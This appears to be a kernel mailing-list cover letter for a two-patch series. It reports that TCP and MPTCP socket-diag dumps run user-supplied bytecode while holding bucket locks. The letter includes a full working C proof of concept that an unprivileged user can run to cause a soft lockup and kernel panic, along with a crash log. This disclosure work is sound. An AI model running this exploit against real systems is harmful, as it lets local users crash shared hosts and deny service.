[PATCH net 0/2] tcp: diag: fix unbounded bucket lock hold in diag dump paths
Zihan Xi <[email protected]> Wed, 29 Jul 2026 11:28:38 +0000
| Newsgroups | dev.linux.lists.mptcp,org.kernel.vger.netdev |
|---|---|
| Message-ID | <[email protected]> |
Hi Linux kernel maintainers,=0D
=0D
We found and validated a issue in net/ipv4/tcp_diag.c and=0D
net/mptcp/mptcp_diag.c. The bug is reachable by a=0D
non-root user via user and net namespace.=0D
We've tested it, and it should not affect any other functionality.=0D
=0D
We will provide detailed information about the bug=0D
in this email, along with a PoC to trigger it.=0D
=0D
---- details below ----=0D
=0D
Bug details:=0D
=0D
inet_diag TCP dumps currently execute attacker-controlled=0D
INET_DIAG_REQ_BYTECODE programs while still holding the listener,=0D
bind, or ehash bucket locks in tcp_diag_dump(). If the bucket is=0D
heavily populated and the bytecode is a large reject-all filter, the=0D
dump path can spend an unbounded amount of time under the same bucket=0D
lock while walking attacker-arranged sockets.=0D
=0D
The reproduced listener case places 131072 SO_REUSEPORT listeners onto=0D
one colliding listener bucket and then issues a NETLINK_SOCK_DIAG dump=0D
request with 16380 INET_DIAG_BC_NOP instructions followed by a failing=0D
INET_DIAG_BC_D_EQ test. Because every socket runs the full bytecode and=0D
none reaches the reply fill path, skb backpressure does not terminate the=0D
walk early. On the unfixed kernel this triggers a watchdog soft lockup=0D
and then a panic in inet_diag_bc_sk().=0D
=0D
The earlier batching fix direction was still too narrow: it only counted=0D
sockets that survived the cheap prefilters and reached the expensive dump=0D
path. An attacker can therefore populate one bucket with many sockets or=0D
listeners that fail the netns/family/port or MPTCP-specific prefilters,=0D
causing the same bucket lock to be scanned far past the 16-entry batch=0D
threshold before control is returned.=0D
=0D
The same root cause also exists in MPTCP listener dumping. The=0D
MPTCP-specific mptcp_diag_dump_listeners() path reuses sk_diag_dump(),=0D
which runs inet_diag_bc_sk() before filling the netlink reply, while the=0D
listener bucket lock is still held.=0D
=0D
We additionally profiled the MPTCP-specific path locally with a=0D
separate debugging artifact. Because struct inet_diag_req_v2 stores=0D
sdiag_protocol in an __u8 field, that request must keep=0D
sdiag_protocol =3D IPPROTO_TCP and pass INET_DIAG_REQ_PROTOCOL =3D=0D
u32(IPPROTO_MPTCP), otherwise 262 truncates back to TCP and never reaches=0D
the MPTCP handler. With that corrected request, a 1-group run with 32768=0D
listeners and 16380 NOP bytecode steps took 2082.608 ms on the fixed=0D
kernel versus 8.601 ms on the unfixed kernel, and kprobe profiling showed=0D
inet_diag_bc_sk() executing 32768 times on the fixed kernel but only 256=0D
times on the unfixed one. That 256-count is not a missed path: the=0D
unfixed mptcp_diag_dump_listeners() reuses one counter both as the=0D
in-bucket index and as the resume cursor, so each dump restart advances=0D
in a triangular skip pattern and stops after approximately sqrt(2N)=0D
bytecode executions. The inline reproducer and decoded crash log below=0D
cover the TCP panic path; the MPTCP results above are included only as=0D
supporting local validation for the second patch.=0D
=0D
This series fixes both sites by keeping bucket-locked sections limited to=0D
raw socket collection and lifetime pinning, and moving all filtering,=0D
inet_diag_bc_sk(), and socket filling work out of the locked regions so=0D
the batch limit applies to raw bucket traversal itself. For TCP listener,=0D
bind, and ehash buckets, and for the MPTCP listener bucket, restarts now=0D
keep a referenced dump cursor so the next batch resumes after the=0D
previous socket instead of rescanning the bucket head under the same=0D
lock.=0D
=0D
For the TCP patch, the underlying root cause predates modern git history.=0D
The Fixes tag therefore uses commit 1da177e4c3f4=0D
("Linux-2.6.12-rc2") as the earliest git-import boundary that still=0D
anchors the pre-git bug in the current repository, rather than=0D
incorrectly attributing it to a later helper or refactor commit. The=0D
MPTCP patch uses the real introduction boundary, commit 4fa39b701ce9=0D
("mptcp: listen diag dump support").=0D
=0D
Reproducer:=0D
=0D
gcc -O2 -static -o poc poc.c=0D
unshare -Urn ./poc=0D
=0D
For the reproduced panic log below, we enabled=0D
softlockup panic sysctls and ran the local helper that executes:=0D
=0D
./poc --listen --groups 4 --stride 2048 --count 32768 --nops 16380=0D
=0D
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.=0D
=0D
------BEGIN poc.c------=0D
#define _GNU_SOURCE=0D
=0D
#include <arpa/inet.h>=0D
#include <errno.h>=0D
#include <linux/inet_diag.h>=0D
#include <linux/netlink.h>=0D
#include <linux/sock_diag.h>=0D
#include <linux/tcp.h>=0D
#include <sched.h>=0D
#include <stdbool.h>=0D
#include <stdint.h>=0D
#include <stdio.h>=0D
#include <stdlib.h>=0D
#include <string.h>=0D
#include <sys/resource.h>=0D
#include <sys/socket.h>=0D
#include <sys/time.h>=0D
#include <time.h>=0D
#include <unistd.h>=0D
=0D
#ifndef SOL_TCP=0D
#define SOL_TCP 6=0D
#endif=0D
=0D
#ifndef TCP_LISTEN=0D
#define TCP_LISTEN 10=0D
#endif=0D
=0D
#define TCPF_LISTEN (1U << TCP_LISTEN)=0D
=0D
#define DEFAULT_SOCKETS 32768U=0D
#define DEFAULT_NOPS 16380U=0D
#define DEFAULT_REPEAT 1U=0D
#define DEFAULT_GROUPS 1U=0D
#define DEFAULT_STRIDE 2048U=0D
#define DEFAULT_BASE_PORT 10000=0D
#define MAX_NOPS 16380U=0D
#define RECV_BUF_SIZE (1U << 20)=0D
=0D
struct options {=0D
unsigned int sockets;=0D
unsigned int nops;=0D
unsigned int repeat;=0D
unsigned int groups;=0D
unsigned int stride;=0D
unsigned int cpu;=0D
bool cpu_set;=0D
bool compare;=0D
bool attack;=0D
bool listen_mode;=0D
int port;=0D
};=0D
=0D
static void usage(const char *prog)=0D
{=0D
fprintf(stderr,=0D
"Usage: %s [--count N] [--nops N] [--repeat N] [--port P] [--cpu N]\n"=0D
" [--groups N] [--stride N] [--compare] [--no-attack]\n"=0D
" [--listen | --bound]\n"=0D
"Defaults: --count %u --nops %u --repeat %u\n",=0D
prog, DEFAULT_SOCKETS, DEFAULT_NOPS, DEFAULT_REPEAT);=0D
}=0D
=0D
static long long timespec_delta_ns(const struct timespec *start,=0D
const struct timespec *end)=0D
{=0D
return (end->tv_sec - start->tv_sec) * 1000000000LL +=0D
(end->tv_nsec - start->tv_nsec);=0D
}=0D
=0D
static int raise_nofile_limit(rlim_t needed)=0D
{=0D
struct rlimit lim;=0D
=0D
if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {=0D
perror("getrlimit(RLIMIT_NOFILE)");=0D
return -1;=0D
}=0D
=0D
if (lim.rlim_cur >=3D needed)=0D
return 0;=0D
=0D
if (lim.rlim_max < needed)=0D
needed =3D lim.rlim_max;=0D
=0D
lim.rlim_cur =3D needed;=0D
if (setrlimit(RLIMIT_NOFILE, &lim) < 0) {=0D
perror("setrlimit(RLIMIT_NOFILE)");=0D
return -1;=0D
}=0D
=0D
if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {=0D
perror("getrlimit(RLIMIT_NOFILE)");=0D
return -1;=0D
}=0D
=0D
if (lim.rlim_cur < needed) {=0D
fprintf(stderr, "RLIMIT_NOFILE stayed at %llu, need %llu\n",=0D
(unsigned long long)lim.rlim_cur,=0D
(unsigned long long)needed);=0D
return -1;=0D
}=0D
=0D
return 0;=0D
}=0D
=0D
static int pin_to_cpu(unsigned int cpu)=0D
{=0D
cpu_set_t set;=0D
=0D
CPU_ZERO(&set);=0D
CPU_SET(cpu, &set);=0D
if (sched_setaffinity(0, sizeof(set), &set) < 0) {=0D
perror("sched_setaffinity");=0D
return -1;=0D
}=0D
=0D
return 0;=0D
}=0D
=0D
static int create_socket_in_bucket(bool listen_mode, int port, int *bound_p=
ort)=0D
{=0D
struct sockaddr_in addr =3D {=0D
.sin_family =3D AF_INET,=0D
.sin_addr.s_addr =3D htonl(INADDR_ANY),=0D
};=0D
socklen_t addrlen =3D sizeof(addr);=0D
int one =3D 1;=0D
int fd;=0D
=0D
fd =3D socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, IPPROTO_TCP);=0D
if (fd < 0) {=0D
perror("socket(AF_INET, SOCK_STREAM)");=0D
return -1;=0D
}=0D
=0D
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {=0D
perror("setsockopt(SO_REUSEADDR)");=0D
goto err;=0D
}=0D
=0D
if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {=0D
perror("setsockopt(SO_REUSEPORT)");=0D
goto err;=0D
}=0D
=0D
addr.sin_port =3D htons(port);=0D
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {=0D
perror("bind");=0D
goto err;=0D
}=0D
=0D
if (getsockname(fd, (struct sockaddr *)&addr, &addrlen) < 0) {=0D
perror("getsockname");=0D
goto err;=0D
}=0D
=0D
if (listen_mode) {=0D
if (listen(fd, 0) < 0) {=0D
perror("listen");=0D
goto err;=0D
}=0D
}=0D
=0D
*bound_port =3D ntohs(addr.sin_port);=0D
return fd;=0D
err:=0D
close(fd);=0D
return -1;=0D
}=0D
=0D
static int setup_sockets(bool listen_mode, unsigned int groups,=0D
unsigned int count_per_group, unsigned int stride,=0D
int requested_port, int **fds_out, int *port_out)=0D
{=0D
int *fds;=0D
unsigned int g, i;=0D
unsigned int total =3D groups * count_per_group;=0D
int base_port =3D requested_port ? requested_port : DEFAULT_BASE_PORT;=0D
=0D
fds =3D calloc(total, sizeof(*fds));=0D
if (!fds) {=0D
perror("calloc(socket fds)");=0D
return -1;=0D
}=0D
=0D
for (g =3D 0; g < groups; g++) {=0D
int port =3D base_port + (int)(g * stride);=0D
=0D
if (port <=3D 0 || port > 65535) {=0D
fprintf(stderr, "port overflow for group %u (base=3D%d stride=3D%u)\n",=
=0D
g, base_port, stride);=0D
goto err;=0D
}=0D
=0D
for (i =3D 0; i < count_per_group; i++) {=0D
unsigned int idx =3D g * count_per_group + i;=0D
int bound_port =3D port;=0D
int fd =3D create_socket_in_bucket(listen_mode, bound_port,=0D
&bound_port);=0D
=0D
if (fd < 0) {=0D
fprintf(stderr,=0D
"socket setup failed at group %u index %u (port %d)\n",=0D
g, i, port);=0D
goto err;=0D
}=0D
=0D
fds[idx] =3D fd;=0D
if ((idx + 1) % 4096U =3D=3D 0 || idx + 1 =3D=3D total) {=0D
printf("sockets_ready=3D%u group=3D%u port=3D%d mode=3D%s\n",=0D
idx + 1, g + 1, port,=0D
listen_mode ? "listen" : "bound");=0D
}=0D
}=0D
}=0D
=0D
*fds_out =3D fds;=0D
*port_out =3D base_port;=0D
return 0;=0D
err:=0D
for (i =3D 0; i < total; i++) {=0D
if (fds[i] > 0)=0D
close(fds[i]);=0D
}=0D
free(fds);=0D
return -1;=0D
}=0D
=0D
static void teardown_sockets(int *fds, unsigned int count)=0D
{=0D
unsigned int i;=0D
=0D
if (!fds)=0D
return;=0D
=0D
for (i =3D 0; i < count; i++) {=0D
if (fds[i] >=3D 0)=0D
close(fds[i]);=0D
}=0D
free(fds);=0D
}=0D
=0D
static size_t build_request(void *buf, bool listen_mode, bool with_attack,=
=0D
unsigned int nops)=0D
{=0D
size_t msg_len =3D NLMSG_SPACE(sizeof(struct inet_diag_req_v2));=0D
struct nlmsghdr *nlh =3D buf;=0D
struct inet_diag_req_v2 *req;=0D
=0D
memset(buf, 0, msg_len);=0D
nlh->nlmsg_len =3D msg_len;=0D
nlh->nlmsg_type =3D SOCK_DIAG_BY_FAMILY;=0D
nlh->nlmsg_flags =3D NLM_F_REQUEST | NLM_F_DUMP;=0D
nlh->nlmsg_seq =3D 1;=0D
=0D
req =3D NLMSG_DATA(nlh);=0D
req->sdiag_family =3D AF_INET;=0D
req->sdiag_protocol =3D IPPROTO_TCP;=0D
req->idiag_states =3D listen_mode ? TCPF_LISTEN : (1U << 12);=0D
req->id.idiag_cookie[0] =3D INET_DIAG_NOCOOKIE;=0D
req->id.idiag_cookie[1] =3D INET_DIAG_NOCOOKIE;=0D
=0D
if (with_attack) {=0D
size_t payload_len =3D ((size_t)nops + 2U) *=0D
sizeof(struct inet_diag_bc_op);=0D
size_t attr_len =3D NLA_HDRLEN + payload_len;=0D
struct nlattr *nla =3D (struct nlattr *)((char *)buf + msg_len);=0D
struct inet_diag_bc_op *ops;=0D
unsigned int i;=0D
=0D
memset(nla, 0, NLA_ALIGN(attr_len));=0D
nla->nla_type =3D INET_DIAG_REQ_BYTECODE;=0D
nla->nla_len =3D attr_len;=0D
ops =3D (struct inet_diag_bc_op *)((char *)nla + NLA_HDRLEN);=0D
=0D
for (i =3D 0; i < nops; i++) {=0D
ops[i].code =3D INET_DIAG_BC_NOP;=0D
ops[i].yes =3D sizeof(struct inet_diag_bc_op);=0D
ops[i].no =3D 0;=0D
}=0D
=0D
ops[nops].code =3D INET_DIAG_BC_D_EQ;=0D
ops[nops].yes =3D 2U * sizeof(struct inet_diag_bc_op);=0D
ops[nops].no =3D 3U * sizeof(struct inet_diag_bc_op);=0D
=0D
ops[nops + 1].code =3D 0;=0D
ops[nops + 1].yes =3D 0;=0D
ops[nops + 1].no =3D 1;=0D
=0D
msg_len +=3D NLA_ALIGN(attr_len);=0D
nlh->nlmsg_len =3D msg_len;=0D
}=0D
=0D
return msg_len;=0D
}=0D
=0D
static int recv_until_done(int fd)=0D
{=0D
char *buf;=0D
int ret =3D 0;=0D
=0D
buf =3D malloc(RECV_BUF_SIZE);=0D
if (!buf) {=0D
perror("malloc(recv buf)");=0D
return -1;=0D
}=0D
=0D
for (;;) {=0D
ssize_t received =3D recv(fd, buf, RECV_BUF_SIZE, 0);=0D
struct nlmsghdr *nlh;=0D
int remaining;=0D
=0D
if (received < 0) {=0D
perror("recv");=0D
ret =3D -1;=0D
break;=0D
}=0D
=0D
if (received =3D=3D 0) {=0D
fprintf(stderr, "recv: unexpected EOF\n");=0D
ret =3D -1;=0D
break;=0D
}=0D
=0D
remaining =3D (int)received;=0D
for (nlh =3D (struct nlmsghdr *)buf; NLMSG_OK(nlh, remaining);=0D
nlh =3D NLMSG_NEXT(nlh, remaining)) {=0D
if (nlh->nlmsg_type =3D=3D NLMSG_DONE)=0D
goto out;=0D
=0D
if (nlh->nlmsg_type =3D=3D NLMSG_ERROR) {=0D
const struct nlmsgerr *err =3D NLMSG_DATA(nlh);=0D
=0D
if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*err))) {=0D
fprintf(stderr, "short NLMSG_ERROR\n");=0D
} else if (err->error) {=0D
errno =3D -err->error;=0D
perror("netlink");=0D
} else {=0D
fprintf(stderr, "unexpected ACK\n");=0D
}=0D
ret =3D -1;=0D
goto out;=0D
}=0D
}=0D
}=0D
=0D
out:=0D
free(buf);=0D
return ret;=0D
}=0D
=0D
static int run_dump(bool listen_mode, bool with_attack, unsigned int nops,=
=0D
double *wall_ms)=0D
{=0D
size_t request_len;=0D
size_t attr_space =3D with_attack ?=0D
NLA_ALIGN(NLA_HDRLEN +=0D
((size_t)nops + 2U) *=0D
sizeof(struct inet_diag_bc_op)) : 0;=0D
size_t alloc_len =3D NLMSG_SPACE(sizeof(struct inet_diag_req_v2)) +=0D
attr_space;=0D
struct sockaddr_nl local =3D {=0D
.nl_family =3D AF_NETLINK,=0D
};=0D
struct sockaddr_nl kernel =3D {=0D
.nl_family =3D AF_NETLINK,=0D
};=0D
struct timeval timeout =3D {=0D
.tv_sec =3D 60,=0D
.tv_usec =3D 0,=0D
};=0D
struct iovec iov;=0D
struct msghdr msg =3D {=0D
.msg_name =3D &kernel,=0D
.msg_namelen =3D sizeof(kernel),=0D
.msg_iov =3D &iov,=0D
.msg_iovlen =3D 1,=0D
};=0D
struct timespec start_ts;=0D
struct timespec end_ts;=0D
void *request;=0D
int fd;=0D
int ret =3D -1;=0D
=0D
request =3D malloc(alloc_len);=0D
if (!request) {=0D
perror("malloc(request)");=0D
return -1;=0D
}=0D
=0D
request_len =3D build_request(request, listen_mode, with_attack, nops);=0D
=0D
fd =3D socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_SOCK_DIAG);=0D
if (fd < 0) {=0D
perror("socket(AF_NETLINK)");=0D
free(request);=0D
return -1;=0D
}=0D
=0D
if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0=
) {=0D
perror("setsockopt(SO_RCVTIMEO)");=0D
goto out;=0D
}=0D
=0D
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {=0D
perror("bind(netlink)");=0D
goto out;=0D
}=0D
=0D
iov.iov_base =3D request;=0D
iov.iov_len =3D request_len;=0D
=0D
if (clock_gettime(CLOCK_MONOTONIC_RAW, &start_ts) < 0) {=0D
perror("clock_gettime(start)");=0D
goto out;=0D
}=0D
=0D
if (sendmsg(fd, &msg, 0) < 0) {=0D
perror("sendmsg");=0D
goto out;=0D
}=0D
=0D
if (recv_until_done(fd) < 0)=0D
goto out;=0D
=0D
if (clock_gettime(CLOCK_MONOTONIC_RAW, &end_ts) < 0) {=0D
perror("clock_gettime(end)");=0D
goto out;=0D
}=0D
=0D
*wall_ms =3D (double)timespec_delta_ns(&start_ts, &end_ts) / 1000000.0;=0D
ret =3D 0;=0D
=0D
out:=0D
close(fd);=0D
free(request);=0D
return ret;=0D
}=0D
=0D
static int parse_u32(const char *arg, unsigned int *value)=0D
{=0D
char *end =3D NULL;=0D
unsigned long parsed;=0D
=0D
parsed =3D strtoul(arg, &end, 0);=0D
if (!end || *end || parsed > UINT32_MAX)=0D
return -1;=0D
=0D
*value =3D (unsigned int)parsed;=0D
return 0;=0D
}=0D
=0D
static int parse_port(const char *arg, int *port)=0D
{=0D
unsigned int value;=0D
=0D
if (parse_u32(arg, &value) < 0 || value > 65535U)=0D
return -1;=0D
=0D
*port =3D (int)value;=0D
return 0;=0D
}=0D
=0D
int main(int argc, char **argv)=0D
{=0D
struct options opts =3D {=0D
.sockets =3D DEFAULT_SOCKETS,=0D
.nops =3D DEFAULT_NOPS,=0D
.repeat =3D DEFAULT_REPEAT,=0D
.groups =3D DEFAULT_GROUPS,=0D
.stride =3D DEFAULT_STRIDE,=0D
.cpu =3D 0,=0D
.cpu_set =3D false,=0D
.compare =3D false,=0D
.attack =3D true,=0D
.listen_mode =3D true,=0D
.port =3D 0,=0D
};=0D
int *fds =3D NULL;=0D
int port =3D 0;=0D
unsigned int i;=0D
=0D
for (i =3D 1; i < (unsigned int)argc; i++) {=0D
if (strcmp(argv[i], "--count") =3D=3D 0) {=0D
if (i + 1 >=3D (unsigned int)argc ||=0D
parse_u32(argv[++i], &opts.sockets) < 0 ||=0D
opts.sockets =3D=3D 0) {=0D
usage(argv[0]);=0D
return 1;=0D
}=0D
} else if (strcmp(argv[i], "--nops") =3D=3D 0) {=0D
if (i + 1 >=3D (unsigned int)argc ||=0D
parse_u32(argv[++i], &opts.nops) < 0 ||=0D
opts.nops > MAX_NOPS) {=0D
fprintf(stderr, "--nops must be in range [0, %u]\n",=0D
MAX_NOPS);=0D
return 1;=0D
}=0D
} else if (strcmp(argv[i], "--repeat") =3D=3D 0) {=0D
if (i + 1 >=3D (unsigned int)argc ||=0D
parse_u32(argv[++i], &opts.repeat) < 0 ||=0D
opts.repeat =3D=3D 0) {=0D
usage(argv[0]);=0D
return 1;=0D
}=0D
} else if (strcmp(argv[i], "--groups") =3D=3D 0) {=0D
if (i + 1 >=3D (unsigned int)argc ||=0D
parse_u32(argv[++i], &opts.groups) < 0 ||=0D
opts.groups =3D=3D 0) {=0D
usage(argv[0]);=0D
return 1;=0D
}=0D
} else if (strcmp(argv[i], "--stride") =3D=3D 0) {=0D
if (i + 1 >=3D (unsigned int)argc ||=0D
parse_u32(argv[++i], &opts.stride) < 0 ||=0D
opts.stride =3D=3D 0) {=0D
usage(argv[0]);=0D
return 1;=0D
}=0D
} else if (strcmp(argv[i], "--port") =3D=3D 0) {=0D
if (i + 1 >=3D (unsigned int)argc ||=0D
parse_port(argv[++i], &opts.port) < 0) {=0D
usage(argv[0]);=0D
return 1;=0D
}=0D
} else if (strcmp(argv[i], "--cpu") =3D=3D 0) {=0D
if (i + 1 >=3D (unsigned int)argc ||=0D
parse_u32(argv[++i], &opts.cpu) < 0) {=0D
usage(argv[0]);=0D
return 1;=0D
}=0D
opts.cpu_set =3D true;=0D
} else if (strcmp(argv[i], "--compare") =3D=3D 0) {=0D
opts.compare =3D true;=0D
} else if (strcmp(argv[i], "--no-attack") =3D=3D 0) {=0D
opts.attack =3D false;=0D
} else if (strcmp(argv[i], "--listen") =3D=3D 0) {=0D
opts.listen_mode =3D true;=0D
} else if (strcmp(argv[i], "--bound") =3D=3D 0) {=0D
opts.listen_mode =3D false;=0D
} else {=0D
usage(argv[0]);=0D
return 1;=0D
}=0D
}=0D
=0D
if (opts.groups > UINT32_MAX / opts.sockets) {=0D
fprintf(stderr, "socket count overflow\n");=0D
return 1;=0D
}=0D
=0D
if (raise_nofile_limit((rlim_t)opts.sockets * opts.groups + 64U) < 0)=0D
return 1;=0D
=0D
if (opts.cpu_set && pin_to_cpu(opts.cpu) < 0)=0D
return 1;=0D
=0D
if (setup_sockets(opts.listen_mode, opts.groups, opts.sockets,=0D
opts.stride, opts.port, &fds, &port) < 0)=0D
return 1;=0D
=0D
printf("setup_complete groups=3D%u sockets_per_group=3D%u total_sockets=3D=
%u base_port=3D%d stride=3D%u mode=3D%s nops=3D%u repeat=3D%u compare=3D%s =
attack=3D%s\n",=0D
opts.groups, opts.sockets, opts.groups * opts.sockets,=0D
port, opts.stride, opts.listen_mode ? "listen" : "bound",=0D
opts.nops, opts.repeat,=0D
opts.compare ? "yes" : "no",=0D
opts.attack ? "yes" : "no");=0D
=0D
if (opts.compare) {=0D
double wall_ms;=0D
=0D
if (run_dump(opts.listen_mode, false, 0, &wall_ms) < 0) {=0D
teardown_sockets(fds, opts.groups * opts.sockets);=0D
return 1;=0D
}=0D
printf("baseline wall_ms=3D%.3f\n", wall_ms);=0D
}=0D
=0D
if (opts.attack) {=0D
for (i =3D 0; i < opts.repeat; i++) {=0D
double wall_ms;=0D
=0D
if (run_dump(opts.listen_mode, true, opts.nops, &wall_ms) < 0) {=0D
teardown_sockets(fds, opts.groups * opts.sockets);=0D
return 1;=0D
}=0D
printf("attack_run=3D%u wall_ms=3D%.3f\n", i + 1, wall_ms);=0D
}=0D
}=0D
=0D
teardown_sockets(fds, opts.groups * opts.sockets);=0D
return 0;=0D
}=0D
------END poc.c--------=0D
=0D
----BEGIN crash log----=0D
[ 18.495442] watchdog: BUG: soft lockup - CPU#0 stuck for 3s! [poc:1034]=
=0D
[ 18.495442] Modules linked in:=0D
[ 18.495442] irq event stamp: 1545=0D
[ 18.495442] hardirqs last enabled at (1544): [<ffffffff81ae73a9>] conso=
le_unlock+0x5a9/0x730=0D
[ 18.495442] hardirqs last disabled at (1545): [<ffffffff81ae695e>] conso=
le_unlock+0x35e/0x730=0D
[ 18.495442] softirqs last enabled at (1490): [<ffffffff8b61193e>] __irq=
_exit_rcu+0x8e/0x100=0D
[ 18.495442] softirqs last disabled at (1485): [<ffffffff814a07a4>] __do_=
softirq+0x5a4/0x7f1=0D
[ 18.495442] CPU#0 Utilization every 4s during lockup:=0D
[ 18.495442] #1: 100% system, 0% softirq, 0% hard=
irq, 0% idle=0D
[ 18.495442] #2: 100% system, 0% softirq, 0% hard=
irq, 0% idle=0D
[ 18.495442] #3: 100% system, 0% softirq, 0% hard=
irq, 0% idle=0D
[ 18.495442] #4: 100% system, 0% softirq, 0% hard=
irq, 0% idle=0D
[ 18.495442] #5: 100% system, 0% softirq, 0% hard=
irq, 0% idle=0D
[ 18.495442] CPU#0 Utilization every 5s during lockup:=0D
[ 18.495442] #1: 100% system, 0% softirq, 0% hard=
irq, 0% idle=0D
[ 18.495442] #2: 100% system, 0% softirq, 0% hard=
irq, 0% idle=0D
[ 18.495442] #3: 100% system, 0% softirq, 0% hard=
irq, 0% idle=0D
[ 18.495442] CPU#0 Utilization every 6s during lockup:=0D
[ 18.495442] #1: 100% system, 0% softirq, 0% hard=
irq, 0% idle=0D
[ 18.495442] #2: 100% system, 0% softirq, 0% hard=
irq, 0% idle=0D
[ 18.495442] Sending NMI from CPU 1 to CPUs 0:=0D
[ 18.495449] NMI backtrace for cpu 0=0D
[ 18.495449] CPU: 0 UID: 0 PID: 1034 Comm: poc Not tainted 7.2.0-rc4-0039=
0-g743916aa8e8c #5=0D
[ 18.495449] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS =
unknown 2/2/2022=0D
[ 18.495450] RIP: 0010:inet_diag_bc_sk+0xf2/0x390=0D
[ 18.495451] Code: 89 df 49 8b 3c 24 e8 17 d0 b7 ff 49 8b 3c 24 4c 89 e6 =
4c 89 e2 49 8d ac 24 e0 00 00 00 e8 e0 d4 ff ff 84 c0 75 12 <4d> 8b 64 24 0=
8 49 8d 5c 24 10 e9 40 ff ff ff 41 80 3d 29 33 84=0D
[ 18.495451] RSP: 0018:ffffc90003bcfc68 EFLAGS: 00000246=0D
[ 18.495452] RAX: 0000000000000000 RBX: ffff8881071f0040 RCX: 00000000000=
00000=0D
[ 18.495452] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff888106a=
4ce40=0D
[ 18.495453] RBP: ffffc90003bcfd58 R08: 0000000000000000 R09: 00000000000=
00000=0D
[ 18.495453] R10: ffffc90003bcfae8 R11: 0000000000000000 R12: ffffc90003b=
cfd20=0D
[ 18.495453] R13: ffffffff8ae76d60 R14: ffffc90003bcfd20 R15: ffffc90003b=
cfd20=0D
[ 18.495454] FS: 0000000000000000(0000) GS:ffff88846bc00000(0000) knlGS:=
0000000000000000=0D
[ 18.495454] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033=0D
[ 18.495455] CR2: 0000000000ad8000 CR3: 0000000107018000 CR4: 00000000003=
50ef0=0D
[ 18.495455] Call Trace:=0D
[ 18.495455] <NMI>=0D
[ 18.495456] ? nmi_cpu_backtrace+0x16f/0x2a0=0D
[ 18.495458] ? nmi_trigger_cpumask_backtrace+0x242/0x350=0D
[ 18.495459] ? watchdog+0x3c2/0x480=0D
[ 18.495461] ? __pfx_watchdog+0x10/0x10=0D
[ 18.495462] ? __hrtimer_run_queues+0x1c5/0x4f0=0D
[ 18.495464] ? hrtimer_interrupt+0x337/0x7b0=0D
[ 18.495465] ? __sysvec_apic_timer_interrupt+0x5f/0x1d0=0D
[ 18.495468] ? sysvec_apic_timer_interrupt+0x4b/0xc0=0D
[ 18.495470] ? asm_sysvec_apic_timer_interrupt+0x1a/0x20=0D
[ 18.495472] ? inet_diag_bc_sk+0xf2/0x390=0D
[ 18.495474] ? inet_diag_bc_sk+0x12c/0x390=0D
[ 18.495475] ? inet_diag_bc_sk+0xf2/0x390=0D
[ 18.495477] ? inet_diag_bc_sk+0x12c/0x390=0D
[ 18.495478] ? inet_diag_bc_sk+0xf2/0x390=0D
[ 18.495480] ? inet_diag_bc_sk+0x12c/0x390=0D
[ 18.495481] ? inet_diag_bc_sk+0xf2/0x390=0D
[ 18.495483] ? inet_diag_bc_sk+0x12c/0x390=0D
[ 18.495484] ? inet_diag_bc_sk+0xf2/0x390=0D
[ 18.495486] ? inet_diag_bc_sk+0x12c/0x390=0D
[ 18.495487] ? inet_diag_bc_sk+0xf2/0x390=0D
[ 18.495489] ? inet_diag_bc_sk+0x12c/0x390=0D
[ 18.495490] ? inet_diag_bc_sk+0xf2/0x390=0D
[ 18.495492] ? inet_diag_bc_sk+0x12c/0x390=0D
[ 18.495493] ? lockdep_hardirqs_on_prepare+0xde/0x1b0=0D
[ 18.495495] ? console_unlock+0x5a9/0x730=0D
[ 18.495497] ? vprintk_emit+0x288/0x290=0D
[ 18.495499] ? __warn+0xee/0x1f0=0D
[ 18.495501] ? report_bug+0x216/0x530=0D
[ 18.495504] ? handle_bug+0x3c/0x70=0D
[ 18.495506] ? exc_invalid_op+0x17/0x70=0D
[ 18.495508] ? asm_exc_invalid_op+0x1a/0x20=0D
[ 18.495509] ? hrtimer_interrupt+0x28f/0x7b0=0D
[ 18.495511] ? __pfx_hrtimer_interrupt+0x10/0x10=0D
[ 18.495513] ? __sysvec_apic_timer_interrupt+0x5f/0x1d0=0D
[ 18.495515] ? sysvec_apic_timer_interrupt+0x4b/0xc0=0D
[ 18.495516] ? asm_sysvec_apic_timer_interrupt+0x1a/0x20=0D
[ 18.495517] </NMI>=0D
[ 18.495518] <TASK>=0D
[ 18.495519] ? __pfx_inet_diag_bc_sk+0x10/0x10=0D
[ 18.495520] ? __pfx_lock_acquire+0x10/0x10=0D
[ 18.495522] tcp_diag_dump+0x322/0x1240=0D
[ 18.495524] __inet_diag_dump+0x15c/0x280=0D
[ 18.495526] netlink_dump+0x4b4/0x7f0=0D
[ 18.495529] __netlink_dump_start+0x43b/0x5d0=0D
[ 18.495531] inet_diag_handler_cmd+0x2ee/0x420=0D
[ 18.495533] sock_diag_rcv_msg+0x255/0x300=0D
[ 18.495535] ? __pfx_sock_diag_rcv_msg+0x10/0x10=0D
[ 18.495536] netlink_rcv_skb+0x125/0x350=0D
[ 18.495538] sock_diag_rcv+0x31/0x40=0D
[ 18.495540] netlink_unicast+0x423/0x670=0D
[ 18.495542] netlink_sendmsg+0x73f/0xc20=0D
[ 18.495543] ? __pfx_netlink_sendmsg+0x10/0x10=0D
[ 18.495545] ? __pfx_lock_acquire+0x10/0x10=0D
[ 18.495547] ? __fget_light+0x205/0x250=0D
[ 18.495549] __sys_sendto+0x455/0x4f0=0D
[ 18.495551] ? __pfx___sys_sendto+0x10/0x10=0D
[ 18.495553] ? __pfx_lock_acquire+0x10/0x10=0D
[ 18.495555] __x64_sys_sendto+0xe5/0x120=0D
[ 18.495556] do_syscall_64+0x66/0x160=0D
[ 18.495557] ? __count_memcg_events+0x80/0x130=0D
[ 18.495559] ? clear_bhb_loop+0x35/0x90=0D
